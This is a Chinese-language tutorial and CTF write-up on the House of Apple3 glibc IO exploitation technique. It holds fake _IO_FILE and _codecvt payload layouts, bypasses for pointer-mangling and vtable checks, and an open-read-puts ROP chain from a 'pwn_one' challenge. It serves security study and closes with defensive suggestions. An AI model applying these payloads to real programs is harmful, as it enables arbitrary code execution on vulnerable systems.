house of apple3 心得体会
字数 2138 2025-08-25 22:58:56
House of Apple3 IO攻击技术深入解析
一、技术概述
House of Apple3是roderick师傅提出的一种针对高版本glibc的IO攻击方法,与House of Apple2类似,但采用不同的控制流劫持方式。该技术通过伪造_IO_FILE结构体中的_codecvt成员来控制程序执行流。
核心特点
- 适用于glibc 2.23至今的所有版本
- 通过伪造
_codecvt结构体而非_wide_data来控制执行流 - 提供3种不同的调用链实现攻击
二、技术原理
关键结构体分析
-
_IO_FILE_plus结构体:- 在0x98偏移处存在
_codecvt结构体指针 vtable指针控制虚函数调用
- 在0x98偏移处存在
-
_IO_codecvt结构体:
struct _IO_codecvt {
_IO_iconv_t __cd_in;
_IO_iconv_t __cd_out;
};
_IO_iconv_t结构体:
typedef struct {
struct __gconv_step *step;
struct __gconv_step_data step_data;
} _IO_iconv_t;
__gconv_step结构体:
struct __gconv_step {
// ...其他成员...
__gconv_fct __fct; // 关键函数指针
// ...其他成员...
};
攻击调用链
主要利用_IO_wfile_underflow函数的调用链:
_IO_wfile_underflow -> __libio_codecvt_in -> DL_CALL_FCT -> (fp->_codecvt->__cd_in.step) -> (gs->__fct)(gs)
三、利用条件
-
内存操作能力:
- 能够进行任意地址写(通常通过largebin attack实现)
-
触发条件:
- 能够触发IO流操作,包括:
- 从main函数返回
- 调用exit函数
- 通过
__malloc_assert触发
- 能够触发IO流操作,包括:
四、攻击步骤详解
1. 伪造IO_FILE结构体
# 示例伪造布局
pl = p64(0) + p64(leave_ret) + p64(0) + p64(io_all-0x20)
pl += p64(0)*7
pl += p64(chain)
pl += p64(0)*3
pl += p64(lock)
pl += p64(0)
pl += p64(chunk0+0xe0) # _codecvt指向可控区域
pl += p64(wide_data)
pl += p64(0)*6
pl += p64(wfile+8) # 劫持vtable
关键字段设置:
_flags: 设置为~(4 | 0x10)或保持为0_IO_read_ptr和_IO_read_end: 确保_IO_read_ptr < _IO_read_endvtable: 劫持为_IO_wfile_jumps加减偏移_codecvt: 指向可控堆区域
2. 伪造_codecvt结构
# _codecvt指向的区域布局
pl += p64(chunk0+0xf0) # step指针
pl += p64(0)*6
pl += p64(magic_gadget) # __fct函数指针
关键点:
__shlib_handle必须为NULL以绕过PTR_DEMANGLE__fct设置为目标gadget地址
3. 控制流劫持技巧
# 栈迁移布局
pl += p64(0)*2
pl += p64(add_18) # add rsp, 0x18 gadget
pl += p64(chunk0+0x140-0x18) # leave_ret目标
pl += p64(chunk0-0x10)
4. 触发机制
通过以下方式之一触发:
fflush(stderr)exit(0)- 程序正常退出
五、防御绕过技巧
-
指针加密绕过:
- 确保
gs->__shlib_handle为NULL - 避免触发PTR_DEMANGLE
- 确保
-
IO验证绕过:
- 满足
fp->_IO_read_ptr < fp->_IO_read_end - 合理设置
_flags避免检查失败
- 满足
-
vtable校验绕过:
- 使用合法vtable(
_IO_wfile_jumps)加减偏移
- 使用合法vtable(
六、实战案例解析
以pwn_one题目为例:
1. 信息泄露
add(2) #0
add(1) #1
add(1) #2
add(1) #3
delete(0)
delete(2)
show(0)
libc_base=l64()-0x1f2cc0
heap_base=u64(r(8).ljust(8,b"\x00"))-0x13c0
2. 布局构造
# 关键地址计算
magic_gadget = libc_base + libc.sym['svcudp_reply'] + 0x1a
chain=libc_base+0x1f3760
lock=libc_base+0x1f5720
wide_data=libc_base+0x1f2880
wfile = libc_base + libc.sym['_IO_wfile_jumps']
add_18=libc_base+0x000000000003b3b9
3. ORW链构造
# open
orw = b'./flag\x00\x00'
orw += p64(pop_rdx12) + p64(0) + p64(chunk0+0x30)
orw += p64(pop_rdi) + p64(orw_addr)
orw += p64(pop_rsi) + p64(0)
orw += p64(open_addr)
# read
orw += p64(pop_rdi) + p64(3)
orw += p64(pop_rsi) + p64(orw_addr + 0x100)
orw += p64(pop_rdx12) + p64(0x50) + p64(0)
orw += p64(read_addr)
# puts
orw += p64(pop_rdi) + p64(orw_addr + 0x100)
orw += p64(puts_addr)
4. 完整攻击流程
- 通过largebin attack劫持
_IO_list_all - 构造伪造的IO_FILE结构
- 布置栈迁移和ROP链
- 触发IO操作完成利用
七、技术对比
| 特性 | House of Apple2 | House of Apple3 |
|---|---|---|
| 利用结构体 | _wide_data |
_codecvt |
| 适用版本 | glibc 2.23-至今 | glibc 2.23-至今 |
| 调用链复杂度 | 中等 | 中等 |
| 控制寄存器能力 | 可控制rdi/rsi | 主要控制rdi |
| 触发条件 | 需要IO操作 | 需要IO操作 |
八、防御建议
-
启用FORTIFY_SOURCE:
- 增加对IO结构的校验
-
指针加密强化:
- 对所有关键函数指针进行加密
-
vtable保护:
- 限制vtable的可写范围
- 增加vtable完整性检查
-
堆隔离:
- 将IO结构体与用户堆隔离
九、扩展思考
-
组合利用技巧:
- 结合largebin attack进行任意地址写
- 结合tcache poisoning实现更灵活的布局
-
多阶段攻击:
- 第一阶段:信息泄露
- 第二阶段:布局伪造结构
- 第三阶段:触发利用
-
绕过最新防护:
- 针对glibc 2.36+的防护机制研究
- 寻找新的可利用的IO函数调用链
十、参考资源
- House of Apple 一种新的glibc中IO攻击方法
- glibc源码分析:
libio/和stdio-common/目录 - 相关CTF题目:
- pwn_one
- house_of_apple系列题目
通过深入理解House of Apple3技术原理和实现细节,安全研究人员可以更好地防御此类攻击,同时也为漏洞利用提供了新的思路。在实际应用中,需要根据具体环境调整利用方式,并关注glibc更新带来的变化。